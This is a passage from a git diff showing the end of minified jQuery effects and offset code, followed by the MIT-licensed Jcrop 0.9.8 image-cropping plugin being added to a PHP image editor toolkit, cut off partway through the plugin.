this.elem[this.prop]}var E=parseFloat(o.css(this.elem,this.prop,F));return E&&E>-10000?E:parseFloat(o.curCSS(this.elem,this.prop))||0},custom:function(I,H,G){this.startTime=e();this.start=I;this.end=H;this.unit=G||this.unit||"px";this.now=this.start;this.pos=this.state=0;var E=this;function F(J){return E.step(J)}F.elem=this.elem;if(F()&&o.timers.push(F)&&!n){n=setInterval(function(){var K=o.timers;for(var J=0;J<K.length;J++){if(!K[J]()){K.splice(J--,1)}}if(!K.length){clearInterval(n);n=g}},13)}},show:function(){this.options.orig[this.prop]=o.attr(this.elem.style,this.prop);this.options.show=true;this.custom(this.prop=="width"||this.prop=="height"?1:0,this.cur());o(this.elem).show()},hide:function(){this.options.orig[this.prop]=o.attr(this.elem.style,this.prop);this.options.hide=true;this.custom(this.cur(),0)},step:function(H){var G=e();if(H||G>=this.options.duration+this.startTime){this.now=this.end;this.pos=this.state=1;this.update();this.options.curAnim[this.prop]=true;var E=true;for(var F in this.options.curAnim){if(this.options.curAnim[F]!==true){E=false}}if(E){if(this.options.display!=null){this.elem.style.overflow=this.options.overflow;this.elem.style.display=this.options.display;if(o.css(this.elem,"display")=="none"){this.elem.style.display="block"}}if(this.options.hide){o(this.elem).hide()}if(this.options.hide||this.options.show){for(var I in this.options.curAnim){o.attr(this.elem.style,I,this.options.orig[I])}}this.options.complete.call(this.elem)}return false}else{var J=G-this.startTime;this.state=J/this.options.duration;this.pos=o.easing[this.options.easing||(o.easing.swing?"swing":"linear")](this.state,J,0,1,this.options.duration);this.now=this.start+((this.end-this.start)*this.pos);this.update()}return true}};o.extend(o.fx,{speeds:{slow:600,fast:200,_default:400},step:{opacity:function(E){o.attr(E.elem.style,"opacity",E.now)},_default:function(E){if(E.elem.style&&E.elem.style[E.prop]!=null){E.elem.style[E.prop]=E.now+E.unit}else{E.elem[E.prop]=E.now}}}});if(document.documentElement.getBoundingClientRect){o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}var G=this[0].getBoundingClientRect(),J=this[0].ownerDocument,F=J.body,E=J.documentElement,L=E.clientTop||F.clientTop||0,K=E.clientLeft||F.clientLeft||0,I=G.top+(self.pageYOffset||o.boxModel&&E.scrollTop||F.scrollTop)-L,H=G.left+(self.pageXOffset||o.boxModel&&E.scrollLeft||F.scrollLeft)-K;return{top:I,left:H}}}else{o.fn.offset=function(){if(!this[0]){return{top:0,left:0}}if(this[0]===this[0].ownerDocument.body){return o.offset.bodyOffset(this[0])}o.offset.initialized||o.offset.initialize();var J=this[0],G=J.offsetParent,F=J,O=J.ownerDocument,M,H=O.documentElement,K=O.body,L=O.defaultView,E=L.getComputedStyle(J,null),N=J.offsetTop,I=J.offsetLeft;while((J=J.parentNode)&&J!==K&&J!==H){M=L.getComputedStyle(J,null);N-=J.scrollTop,I-=J.scrollLeft;if(J===G){N+=J.offsetTop,I+=J.offsetLeft;if(o.offset.doesNotAddBorder&&!(o.offset.doesAddBorderForTableAndCells&&/^t(able|d|h)$/i.test(J.tagName))){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}F=G,G=J.offsetParent}if(o.offset.subtractsBorderForOverflowNotVisible&&M.overflow!=="visible"){N+=parseInt(M.borderTopWidth,10)||0,I+=parseInt(M.borderLeftWidth,10)||0}E=M}if(E.position==="relative"||E.position==="static"){N+=K.offsetTop,I+=K.offsetLeft}if(E.position==="fixed"){N+=Math.max(H.scrollTop,K.scrollTop),I+=Math.max(H.scrollLeft,K.scrollLeft)}return{top:N,left:I}}}o.offset={initialize:function(){if(this.initialized){return}var L=document.body,F=document.createElement("div"),H,G,N,I,M,E,J=L.style.marginTop,K='<div style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;"><div></div></div><table style="position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;" cellpadding="0" cellspacing="0"><tr><td></td></tr></table>';M={position:"absolute",top:0,left:0,margin:0,border:0,width:"1px",height:"1px",visibility:"hidden"};for(E in M){F.style[E]=M[E]}F.innerHTML=K;L.insertBefore(F,L.firstChild);H=F.firstChild,G=H.firstChild,I=H.nextSibling.firstChild.firstChild;this.doesNotAddBorder=(G.offsetTop!==5);this.doesAddBorderForTableAndCells=(I.offsetTop===5);H.style.overflow="hidden",H.style.position="relative";this.subtractsBorderForOverflowNotVisible=(G.offsetTop===-5);L.style.marginTop="1px";this.doesNotIncludeMarginInBodyOffset=(L.offsetTop===0);L.style.marginTop=J;L.removeChild(F);this.initialized=true},bodyOffset:function(E){o.offset.initialized||o.offset.initialize();var G=E.offsetTop,F=E.offsetLeft;if(o.offset.doesNotIncludeMarginInBodyOffset){G+=parseInt(o.curCSS(E,"marginTop",true),10)||0,F+=parseInt(o.curCSS(E,"marginLeft",true),10)||0}return{top:G,left:F}}};o.fn.extend({position:function(){var I=0,H=0,F;if(this[0]){var G=this.offsetParent(),J=this.offset(),E=/^body|html$/i.test(G[0].tagName)?{top:0,left:0}:G.offset();J.top-=j(this,"marginTop");J.left-=j(this,"marginLeft");E.top+=j(G,"borderTopWidth");E.left+=j(G,"borderLeftWidth");F={top:J.top-E.top,left:J.left-E.left}}return F},offsetParent:function(){var E=this[0].offsetParent||document.body;while(E&&(!/^body|html$/i.test(E.tagName)&&o.css(E,"position")=="static")){E=E.offsetParent}return o(E)}});o.each(["Left","Top"],function(F,E){var G="scroll"+E;o.fn[G]=function(H){if(!this[0]){return null}return H!==g?this.each(function(){this==l||this==document?l.scrollTo(!F?H:o(l).scrollLeft(),F?H:o(l).scrollTop()):this[G]=H}):this[0]==l||this[0]==document?self[F?"pageYOffset":"pageXOffset"]||o.boxModel&&document.documentElement[G]||document.body[G]:this[0][G]}});o.each(["Height","Width"],function(I,G){var E=I?"Left":"Top",H=I?"Right":"Bottom",F=G.toLowerCase();o.fn["inner"+G]=function(){return this[0]?o.css(this[0],F,false,"padding"):null};o.fn["outer"+G]=function(K){return this[0]?o.css(this[0],F,false,K?"margin":"border"):null};var J=G.toLowerCase();o.fn[J]=function(K){return this[0]==l?document.compatMode=="CSS1Compat"&&document.documentElement["client"+G]||document.body["client"+G]:this[0]==document?Math.max(document.documentElement["client"+G],document.body["scroll"+G],document.documentElement["scroll"+G],document.body["offset"+G],document.documentElement["offset"+G]):K===g?(this.length?o.css(this[0],J):null):this.css(J,typeof K==="string"?K:K+"px")}})})();
\ No newline at end of file
diff --git a/Toolkit/PHPImageEditor/javascript/jquery.jcrop.js b/Toolkit/PHPImageEditor/javascript/jquery.jcrop.js
new file mode 100644 (file)
index 0000000..ad261f9
--- /dev/null
@@ -0,0 +1,1197 @@
+/**
+ * jquery.Jcrop.js v0.9.8
+ * jQuery Image Cropping Plugin
+ * @author Kelly Hallman <khallman@gmail.com>
+ * Copyright (c) 2008-2009 Kelly Hallman - released under MIT License {{{
+ *
+ * Permission is hereby granted, free of charge, to any person
+ * obtaining a copy of this software and associated documentation
+ * files (the "Software"), to deal in the Software without
+ * restriction, including without limitation the rights to use,
+ * copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following
+ * conditions:
+
+ * The above copyright notice and this permission notice shall be
+ * included in all copies or substantial portions of the Software.
+
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
+ * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
+ * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
+ * WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+ * OTHER DEALINGS IN THE SOFTWARE.
+
+ * }}}
+ */
+
+(function($) {
+
+$.Jcrop = function(obj,opt)
+{
+       // Initialization {{{
+
+       // Sanitize some options {{{
+       var obj = obj, opt = opt;
+
+       if (typeof(obj) !== 'object') obj = $(obj)[0];
+       if (typeof(opt) !== 'object') opt = { };
+
+       // Some on-the-fly fixes for MSIE...sigh
+       if (!('trackDocument' in opt))
+       {
+               opt.trackDocument = $.browser.msie ? false : true;
+               if ($.browser.msie && $.browser.version.split('.')[0] == '8')
+                       opt.trackDocument = true;
+       }
+
+       if (!('keySupport' in opt))
+                       opt.keySupport = $.browser.msie ? false : true;
+               
+       // }}}
+       // Extend the default options {{{
+       var defaults = {
+
+               // Basic Settings
+               trackDocument:          false,
+               baseClass:                      'jcrop',
+               addClass:                       null,
+
+               // Styling Options
+               bgColor:                        'black',
+               bgOpacity:                      .6,
+               borderOpacity:          .4,
+               handleOpacity:          .5,
+
+               handlePad:                      5,
+               handleSize:                     9,
+               handleOffset:           5,
+               edgeMargin:                     14,
+
+               aspectRatio:            0,
+               keySupport:                     true,
+               cornerHandles:          true,
+               sideHandles:            true,
+               drawBorders:            true,
+               dragEdges:                      true,
+
+               boxWidth:                       0,
+               boxHeight:                      0,
+
+               boundary:                       8,
+               animationDelay:         20,
+               swingSpeed:                     3,
+
+               allowSelect:            true,
+               allowMove:                      true,
+               allowResize:            true,
+
+               minSelect:                      [ 0, 0 ],
+               maxSize:                        [ 0, 0 ],
+               minSize:                        [ 0, 0 ],
+
+               // Callbacks / Event Handlers
+               onChange: function() { },
+               onSelect: function() { }
+
+       };
+       var options = defaults;
+       setOptions(opt);
+
+       // }}}
+       // Initialize some jQuery objects {{{
+
+       var $origimg = $(obj);
+       var $img = $origimg.clone().removeAttr('id').css({ position: 'absolute' });
+
+       $img.width($origimg.width());
+       $img.height($origimg.height());
+       $origimg.after($img).hide();
+
+       presize($img,options.boxWidth,options.boxHeight);
+
+       var boundx = $img.width(),
+               boundy = $img.height(),
+
+               $div = $('<div />')
+                       .width(boundx).height(boundy)
+                       .addClass(cssClass('holder'))
+                       .css({
+                               position: 'relative',
+                               backgroundColor: options.bgColor
+                       }).insertAfter($origimg).append($img);
+       ;
+       
+       if (options.addClass) $div.addClass(options.addClass);
+       //$img.wrap($div);
+
+       var $img2 = $('<img />')/*{{{*/
+                       .attr('src',$img.attr('src'))
+                       .css('position','absolute')
+                       .width(boundx).height(boundy)
+       ;/*}}}*/
+       var $img_holder = $('<div />')/*{{{*/
+               .width(pct(100)).height(pct(100))
+               .css({
+                       zIndex: 310,
+                       position: 'absolute',
+                       overflow: 'hidden'
+               })
+               .append($img2)
+       ;/*}}}*/
+       var $hdl_holder = $('<div />')/*{{{*/
+               .width(pct(100)).height(pct(100))
+               .css('zIndex',320);
+       /*}}}*/
+       var $sel = $('<div />')/*{{{*/
+               .css({
+                       position: 'absolute',
+                       zIndex: 300
+               })
+               .insertBefore($img)
+               .append($img_holder,$hdl_holder)
+       ;/*}}}*/
+
+       var bound = options.boundary;
+       var $trk = newTracker().width(boundx+(bound*2)).height(boundy+(bound*2))
+               .css({ position: 'absolute', top: px(-bound), left: px(-bound), zIndex: 290 })
+               .mousedown(newSelection);       
+       
+       /* }}} */
+       // Set more variables {{{
+
+       var xlimit, ylimit, xmin, ymin;
+       var xscale, yscale, enabled = true;
+       var docOffset = getPos($img),
+               // Internal states
+               btndown, lastcurs, dimmed, animating,
+               shift_down;
+
+       // }}}
+               
+
+               // }}}
+       // Internal Modules {{{
+
+       var Coords = function()/*{{{*/
+       {
+               var x1 = 0, y1 = 0, x2 = 0, y2 = 0, ox, oy;
+
+               function setPressed(pos)/*{{{*/
+               {
+                       var pos = rebound(pos);
+                       x2 = x1 = pos[0];
+                       y2 = y1 = pos[1];
+               };
+               /*}}}*/
+               function setCurrent(pos)/*{{{*/
+               {
+                       var pos = rebound(pos);
+                       ox = pos[0] - x2;
+                       oy = pos[1] - y2;
+                       x2 = pos[0];
+                       y2 = pos[1];
+               };
+               /*}}}*/
+               function getOffset()/*{{{*/
+               {
+                       return [ ox, oy ];
+               };
+               /*}}}*/
+               function moveOffset(offset)/*{{{*/
+               {
+                       var ox = offset[0], oy = offset[1];
+
+                       if (0 > x1 + ox) ox -= ox + x1;
+                       if (0 > y1 + oy) oy -= oy + y1;
+
+                       if (boundy < y2 + oy) oy += boundy - (y2 + oy);
+                       if (boundx < x2 + ox) ox += boundx - (x2 + ox);
+
+                       x1 += ox;
+                       x2 += ox;
+                       y1 += oy;
+                       y2 += oy;
+               };
+               /*}}}*/
+               function getCorner(ord)/*{{{*/
+               {
+                       var c = getFixed();
+                       switch(ord)
+                       {
+                               case 'ne': return [ c.x2, c.y ];
+                               case 'nw': return [ c.x, c.y ];
+                               case 'se': return [ c.x2, c.y2 ];
+                               case 'sw': return [ c.x, c.y2 ];
+                       }
+               };
+               /*}}}*/
+               function getFixed()/*{{{*/
+               {
+                       if (!options.aspectRatio) return getRect();
+                       // This function could use some optimization I think...
+                       var aspect = options.aspectRatio,
+                               min_x = options.minSize[0]/xscale, 
+                               min_y = options.minSize[1]/yscale,
+                               max_x = options.maxSize[0]/xscale, 
+                               max_y = options.maxSize[1]/yscale,
+                               rw = x2 - x1,
+                               rh = y2 - y1,
+                               rwa = Math.abs(rw),
+                               rha = Math.abs(rh),
+                               real_ratio = rwa / rha,
+                               xx, yy
+                       ;
+                       if (max_x == 0) { max_x = boundx * 10 }
+                       if (max_y == 0) { max_y = boundy * 10 }
+                       if (real_ratio < aspect)
+                       {
+                               yy = y2;
+                               w = rha * aspect;
+                               xx = rw < 0 ? x1 - w : w + x1;
+
+                               if (xx < 0)
+                               {
+                                       xx = 0;
+                                       h = Math.abs((xx - x1) / aspect);
+                                       yy = rh < 0 ? y1 - h: h + y1;
+                               }
+                               else if (xx > boundx)
+                               {
+                                       xx = boundx;
+                                       h = Math.abs((xx - x1) / aspect);
+                                       yy = rh < 0 ? y1 - h : h + y1;
+                               }
+                       }
+                       else
+                       {
+                               xx = x2;
+                               h = rwa / aspect;
+                               yy = rh < 0 ? y1 - h : y1 + h;
+                               if (yy < 0)
+                               {
+                                       yy = 0;
+                                       w = Math.abs((yy - y1) * aspect);
+                                       xx = rw < 0 ? x1 - w : w + x1;
+                               }
+                               else if (yy > boundy)
+                               {
+                                       yy = boundy;
+                                       w = Math.abs(yy - y1) * aspect;
+                                       xx = rw < 0 ? x1 - w : w + x1;
+                               }
+                       }
+
+                       // Magic %-)
+                       if(xx > x1) { // right side
+                         if(xx - x1 < min_x) {
+                               xx = x1 + min_x;
+                         } else if (xx - x1 > max_x) {
+                               xx = x1 + max_x;
+                         }
+                         if(yy > y1) {
+                               yy = y1 + (xx - x1)/aspect;
+                         } else {
+                               yy = y1 - (xx - x1)/aspect;
+                         }
+                       } else if (xx < x1) { // left side
+                         if(x1 - xx < min_x) {
+                               xx = x1 - min_x
+                         } else if (x1 - xx > max_x) {
+                               xx = x1 - max_x;
+                         }
+                         if(yy > y1) {
+                               yy = y1 + (x1 - xx)/aspect;
+                         } else {
+                               yy = y1 - (x1 - xx)/aspect;
+                         }
+                       }
+
+                       if(xx < 0) {
+                               x1 -= xx;
+                               xx = 0;
+                       } else  if (xx > boundx) {
+                               x1 -= xx - boundx;
+                               xx = boundx;
+                       }
+
+                       if(yy < 0) {
+                               y1 -= yy;
+                               yy = 0;
+                       } else  if (yy > boundy) {
+                               y1 -= yy - boundy;
+                               yy = boundy;
+                       }
+
+                       return last = makeObj(flipCoords(x1,y1,xx,yy));
+               };
+               /*}}}*/
+               function rebound(p)/*{{{*/
+               {
+                       if (p[0] < 0) p[0] = 0;
+                       if (p[1] < 0) p[1] = 0;
+
+                       if (p[0] > boundx) p[0] = boundx;
+                       if (p[1] > boundy) p[1] = boundy;
+
+                       return [ p[0], p[1] ];
+               };
+               /*}}}*/
+               function flipCoords(x1,y1,x2,y2)/*{{{*/
+               {
+                       var xa = x1, xb = x2, ya = y1, yb = y2;
+                       if (x2 < x1)
+                       {
+                               xa = x2;
+                               xb = x1;
+                       }
+                       if (y2 < y1)
+                       {
+                               ya = y2;
+                               yb = y1;
+                       }
+                       return [ Math.round(xa), Math.round(ya), Math.round(xb), Math.round(yb) ];
+               };
+               /*}}}*/
+               function getRect()/*{{{*/
+               {
+                       var xsize = x2 - x1;
+                       var ysize = y2 - y1;
+
+                       if (xlimit && (Math.abs(xsize) > xlimit))
+                               x2 = (xsize > 0) ? (x1 + xlimit) : (x1 - xlimit);
+                       if (ylimit && (Math.abs(ysize) > ylimit))
+                               y2 = (ysize > 0) ? (y1 + ylimit) : (y1 - ylimit);
+
+                       if (ymin && (Math.abs(ysize) < ymin))
+                               y2 = (ysize > 0) ? (y1 + ymin) : (y1 - ymin);
+                       if (xmin && (Math.abs(xsize) < xmin))
+                               x2 = (xsize > 0) ? (x1 + xmin) : (x1 - xmin);
+
+                       if (x1 < 0) { x2 -= x1; x1 -= x1; }
+                       if (y1 < 0) { y2 -= y1; y1 -= y1; }
+                       if (x2 < 0) { x1 -= x2; x2 -= x2; }
+                       if (y2 < 0) { y1 -= y2; y2 -= y2; }
+                       if (x2 > boundx) { var delta = x2 - boundx; x1 -= delta; x2 -= delta; }
+                       if (y2 > boundy) { var delta = y2 - boundy; y1 -= delta; y2 -= delta; }
+                       if (x1 > boundx) { var delta = x1 - boundy; y2 -= delta; y1 -= delta; }
+                       if (y1 > boundy) { var delta = y1 - boundy; y2 -= delta; y1 -= delta; }
+
+                       return makeObj(flipCoords(x1,y1,x2,y2));
+               };
+               /*}}}*/
+               function makeObj(a)/*{{{*/
+               {
+                       return { x: a[0], y: a[1], x2: a[2], y2: a[3],
+                               w: a[2] - a[0], h: a[3] - a[1] };
+               };
+               /*}}}*/
+
+               return {
+                       flipCoords: flipCoords,
+                       setPressed: setPressed,
+                       setCurrent: setCurrent,
+                       getOffset: getOffset,
+                       moveOffset: moveOffset,
+                       getCorner: getCorner,
+                       getFixed: getFixed
+               };
+       }();
+
+       /*}}}*/
+       var Selection = function()/*{{{*/
+       {
+               var start, end, dragmode, awake, hdep = 370;
+               var borders = { };
+               var handle = { };
+               var seehandles = false;
+               var hhs = options.handleOffset;
+
+               /* Insert draggable elements {{{*/
+
+               // Insert border divs for outline
+               if (options.drawBorders) {
+                       borders = {
+                                       top: insertBorder('hline')
+                                               .css('top',$.browser.msie?px(-1):px(0)),
+                                       bottom: insertBorder('hline'),
+                                       left: insertBorder('vline'),
+                                       right: insertBorder('vline')
+                       };
+               }
+
+               // Insert handles on edges
+               if (options.dragEdges) {
+                       handle.t = insertDragbar('n');
+                       handle.b = insertDragbar('s');
+                       handle.r = insertDragbar('e');
+                       handle.l = insertDragbar('w');
+               }
+
+               // Insert side handles
+               options.sideHandles &&
+                       createHandles(['n','s','e','w']);
+
+               // Insert corner handles
+               options.cornerHandles &&
+                       createHandles(['sw','nw','ne','se']);
+
+               /*}}}*/
+               // Private Methods
+               function insertBorder(type)/*{{{*/
+               {
+                       var jq = $('<div />')
+                               .css({position: 'absolute', opacity: options.borderOpacity })
+                               .addClass(cssClass(type));
+                       $img_holder.append(jq);
+                       return jq;
+               };
+               /*}}}*/
+               function dragDiv(ord,zi)/*{{{*/
+               {
+                       var jq = $('<div />')
+                               .mousedown(createDragger(ord))
+                               .css({
+                                       cursor: ord+'-resize',
+                                       position: 'absolute',
+                                       zIndex: zi 
+                               })
+                       ;
+                       $hdl_holder.append(jq);
+                       return jq;
+               };
+               /*}}}*/
+               function insertHandle(ord)/*{{{*/
+               {
+                       return dragDiv(ord,hdep++)
+                               .css({ top: px(-hhs+1), left: px(-hhs+1), opacity: options.handleOpacity })
+                               .addClass(cssClass('handle'));
+               };
+               /*}}}*/
+               function insertDragbar(ord)/*{{{*/
+               {
+                       var s = options.handleSize,
+                               o = hhs,
+                               h = s, w = s,
+                               t = o, l = o;
+
+                       switch(ord)
+                       {
+                               case 'n': case 's': w = pct(100); break;
+                               case 'e': case 'w': h = pct(100); break;
+                       }
+
+                       return dragDiv(ord,hdep++).width(w).height(h)
+                               .css({ top: px(-t+1), left: px(-l+1)});
+               };
+               /*}}}*/
+               function createHandles(li)/*{{{*/
+               {
+                       for(i in li) handle[li[i]] = insertHandle(li[i]);
+               };
+               /*}}}*/
+               function moveHandles(c)/*{{{*/
+               {
+                       var midvert  = Math.round((c.h / 2) - hhs),
+                               midhoriz = Math.round((c.w / 2) - hhs),
+                               north = west = -hhs+1,
+                               east = c.w - hhs,
+                               south = c.h - hhs,
+                               x, y;
+
+                       'e' in handle &&
+                               handle.e.css({ top: px(midvert), left: px(east) }) &&
+                               handle.w.css({ top: px(midvert) }) &&
+                               handle.s.css({ top: px(south), left: px(midhoriz) }) &&
+                               handle.n.css({ left: px(midhoriz) });
+
+                       'ne' in handle &&
+                               handle.ne.css({ left: px(east) }) &&
+                               handle.se.css({ top: px(south), left: px(east) }) &&
+                               handle.sw.css({ top: px(south) });
+
+                       'b' in handle &&
+                               handle.b.css({ top: px(south) }) &&
+                               handle.r.css({ left: px(east) });
+               };
+               /*}}}*/
+               function moveto(x,y)/*{{{*/
+               {
+                       $img2.css({ top: px(-y), left: px(-x) });
+                       $sel.css({ top: px(y), left: px(x) });
+               };
+               /*}}}*/
+               function resize(w,h)/*{{{*/
+               {
+                       $sel.width(w).height(h);
+               };
+               /*}}}*/
+               function refresh()/*{{{*/
+               {
+                       var c = Coords.getFixed();
+
+                       Coords.setPressed([c.x,c.y]);
+                       Coords.setCurrent([c.x2,c.y2]);
+
+                       updateVisible();
+               };
+               /*}}}*/
+
+               // Internal Methods
+               function updateVisible()/*{{{*/
+                       { if (awake) return update(); };
+               /*}}}*/
+               function update()/*{{{*/
+               {
+                       var c = Coords.getFixed();
+
+                       resize(c.w,c.h);
+                       moveto(c.x,c.y);
+
+                       options.drawBorders &&
+                               borders['right'].css({ left: px(c.w-1) }) &&
+                                       borders['bottom'].css({ top: px(c.h-1) });
+
+                       seehandles && moveHandles(c);
+                       awake || show();
+
+                       options.onChange(unscale(c));
+               };
+               /*}}}*/
+               function show()/*{{{*/
+               {
+                       $sel.show();
+                       $img.css('opacity',options.bgOpacity);
+                       awake = true;
+               };
+               /*}}}*/
+               function release()/*{{{*/
+               {
+                       disableHandles();
+                       $sel.hide();
+                       $img.css('opacity',1);
+                       awake = false;
+               };
+               /*}}}*/
+               function showHandles()//{{{
+               {
+                       if (seehandles)
+                       {
+                               moveHandles(Coords.getFixed());
+                               $hdl_holder.show();
+                       }
+               };
+               //}}}
+               function enableHandles()/*{{{*/
+               { 
+                       seehandles = true;
+                       if (options.allowResize)
+                       {
+                               moveHandles(Coords.getFixed());
+                               $hdl_holder.show();
+                               return true;
+                       }
+               };
+               /*}}}*/
+               function disableHandles()/*{{{*/
+               {
+                       seehandles = false;
+                       $hdl_holder.hide();
+               };
+               /*}}}*/
+               function animMode(v)/*{{{*/
+               {
+                       (animating = v) ? disableHandles(): enableHandles();
+               };
+               /*}}}*/
+               function done()/*{{{*/
+               {
+                       animMode(false);
+                       refresh();
+               };
+               /*}}}*/
+
+               var $track = newTracker().mousedown(createDragger('move'))
+                               .css({ cursor: 'move', position: 'absolute', zIndex: 360 })
+
+               $img_holder.append($track);
+               disableHandles();
+
+               return {
+                       updateVisible: updateVisible,
+                       update: update,
+                       release: release,
+                       refresh: refresh,
+                       setCursor: function (cursor) { $track.css('cursor',cursor); },
+                       enableHandles: enableHandles,
+                       enableOnly: function() { seehandles = true; },
+                       showHandles: showHandles,
+                       disableHandles: disableHandles,
+                       animMode: animMode,
+                       done: done
+               };
+       }();
+       /*}}}*/
+       var Tracker = function()/*{{{*/
+       {
+               var onMove              = function() { },
+                       onDone          = function() { },
+                       trackDoc        = options.trackDocument;
+
+               if (!trackDoc)
+               {
+                       $trk
+                               .mousemove(trackMove)
+                               .mouseup(trackUp)
+                               .mouseout(trackUp)
+                       ;
+               }
+
+               function toFront()/*{{{*/
+               {
+                       $trk.css({zIndex:450});
+                       if (trackDoc)
+                       {
+                               $(document)
+                                       .mousemove(trackMove)
+                                       .mouseup(trackUp)
+                               ;
+                       }
+               }
+               /*}}}*/
+               function toBack()/*{{{*/
+               {
+                       $trk.css({zIndex:290});
+                       if (trackDoc)
+                       {
+                               $(document)
+                                       .unbind('mousemove',trackMove)
+                                       .unbind('mouseup',trackUp)
+                               ;
+                       }
+               }
+               /*}}}*/
+               function trackMove(e)/*{{{*/
+               {
+                       onMove(mouseAbs(e));
+               };
+               /*}}}*/
+               function trackUp(e)/*{{{*/
+               {
+                       e.preventDefault();
+                       e.stopPropagation();
+
+                       if (btndown)
+                       {
+                               btndown = false;
+
+                               onDone(mouseAbs(e));
+                               options.onSelect(unscale(Coords.getFixed()));
+                               toBack();
+                               onMove = function() { };
+                               onDone = function() { };
+                       }
+
+                       return false;
+               };
+               /*}}}*/
+
+               function activateHandlers(move,done)/* {{{ */
+               {
+                       btndown = true;
+                       onMove = move;
+                       onDone = done;
+                       toFront();
+                       return false;
+               };
+               /* }}} */
+
+               function setCursor(t) { $trk.css('cursor',t); };
+
+               $img.before($trk);
+               return {
+                       activateHandlers: activateHandlers,
+                       setCursor: setCursor
+               };
+       }();
+       /*}}}*/
+       var KeyManager = function()/*{{{*/
+       {
+               var $keymgr = $('<input type="radio" />')
+                               .css({ position: 'absolute', left: '-30px' })
+                               .keypress(parseKey)
+                               .blur(onBlur),
+
+                       $keywrap = $('<div />')
+                               .css({
+                                       position: 'absolute',
+                                       overflow: 'hidden'
+                               })
+                               .append($keymgr)
+               ;
+
+               function watchKeys()/*{{{*/
+               {
+                       if (options.keySupport)
+                       {
+                               $keymgr.show();
+                               $keymgr.focus();
+                       }
+               };
+               /*}}}*/
+               function onBlur(e)/*{{{*/
+               {
+                       $keymgr.hide();
+               };
+               /*}}}*/
+               function doNudge(e,x,y)/*{{{*/
+               {
+                       if (options.allowMove) {
+                               Coords.moveOffset([x,y]);
+                               Selection.updateVisible();
+                       };
+                       e.preventDefault();
+                       e.stopPropagation();
+               };
+               /*}}}*/
+               function parseKey(e)/*{{{*/
+               {
+                       if (e.ctrlKey) return true;
+                       shift_down = e.shiftKey ? true : false;
+                       var nudge = shift_down ? 10 : 1;
+                       switch(e.keyCode)
+                       {
+                               case 37: doNudge(e,-nudge,0); break;
+                               case 39: doNudge(e,nudge,0); break;
+                               case 38: doNudge(e,0,-nudge); break;
+                               case 40: doNudge(e,0,nudge); break;
+
+                               case 27: Selection.release(); break;
+
+                               case 9: return true;
+                       }
+
+                       return nothing(e);
+               };
+               /*}}}*/
+               
+               if (options.keySupport) $keywrap.insertBefore($img);
+               return {
+                       watchKeys: watchKeys
+               };
+       }();
+       /*}}}*/
+
+       // }}}
+       // Internal Methods {{{
+
+       function px(n) { return '' + parseInt(n) + 'px'; };
+       function pct(n) { return '' + parseInt(n) + '%'; };
+       function cssClass(cl) { return options.baseClass + '-' + cl; };
+       function getPos(obj)/*{{{*/
+       {
+               // Updated in v0.9.4 to use built-in dimensions plugin
+               var pos = $(obj).offset();
+               return [ pos.left, pos.top ];
+       };
+       /*}}}*/
+       function mouseAbs(e)/*{{{*/
+       {
+               return [ (e.pageX - docOffset[0]), (e.pageY - docOffset[1]) ];
+       };
+       /*}}}*/
+       function myCursor(type)/*{{{*/
+       {
+               if (type != lastcurs)
+               {
+                       Tracker.setCursor(type);
+                       //Handles.xsetCursor(type);
+                       lastcurs = type;
+               }
+       };
+       /*}}}*/
+       function startDragMode(mode,pos)/*{{{*/
+       {
+               docOffset = getPos($img);
+               Tracker.setCursor(mode=='move'?mode:mode+'-resize');
+
+               if (mode == 'move')
+                       return Tracker.activateHandlers(createMover(pos), doneSelect);
+
+               var fc = Coords.getFixed();
+               var opp = oppLockCorner(mode);
+               var opc = Coords.getCorner(oppLockCorner(opp));
+
+               Coords.setPressed(Coords.getCorner(opp));
+               Coords.setCurrent(opc);
+
+               Tracker.activateHandlers(dragmodeHandler(mode,fc),doneSelect);
+       };
+       /*}}}*/
+       function dragmodeHandler(mode,f)/*{{{*/
+       {
+               return function(pos) {
+                       if (!options.aspectRatio) switch(mode)
+                       {
+                               case 'e': pos[1] = f.y2; break;
+                               case 'w': pos[1] = f.y2; break;
+                               case 'n': pos[0] = f.x2; break;
+                               case 's': pos[0] = f.x2; break;
+                       }
+                       else switch(mode)
+                       {
+                               case 'e': pos[1] = f.y+1; break;
+                               case 'w': pos[1] = f.y+1; break;
+                               case 'n': pos[0] = f.x+1; break;
+                               case 's': pos[0] = f.x+1; break;
+                       }
+                       Coords.setCurrent(pos);
+                       Selection.update();
+               };
+       };
+       /*}}}*/
+       function createMover(pos)/*{{{*/
+       {
+               var lloc = pos;
+               KeyManager.watchKeys();
+
+               return function(pos)
+               {
+                       Coords.moveOffset([pos[0] - lloc[0], pos[1] - lloc[1]]);
+                       lloc = pos;
+                       
+                       Selection.update();
+               };
+       };
+       /*}}}*/
+       function oppLockCorner(ord)/*{{{*/
+       {
+               switch(ord)
+               {
+                       case 'n': return 'sw';
+                       case 's': return 'nw';
+                       case 'e': return 'nw';
+                       case 'w': return 'ne';
+                       case 'ne': return 'sw';
+                       case 'nw': return 'se';
+                       case 'se': return 'nw';
+                       case 'sw': return 'ne';
+               };
+       };
+       /*}}}*/
+       function createDragger(ord)/*{{{*/
+       {
+               return function(e) {
+                       if (options.disabled) return false;
+                       if ((ord == 'move') && !options.allowMove) return false;
+                       btndown = true;
+                       startDragMode(ord,mouseAbs(e));
+                       e.stopPropagation();
+                       e.preventDefault();
+                       return false;
+               };
+       };
+       /*}}}*/
+       function presize($obj,w,h)/*{{{*/
+       {
+               var nw = $obj.width(), nh = $obj.height();
+               if ((nw > w) && w > 0)
+               {
+                       nw = w;
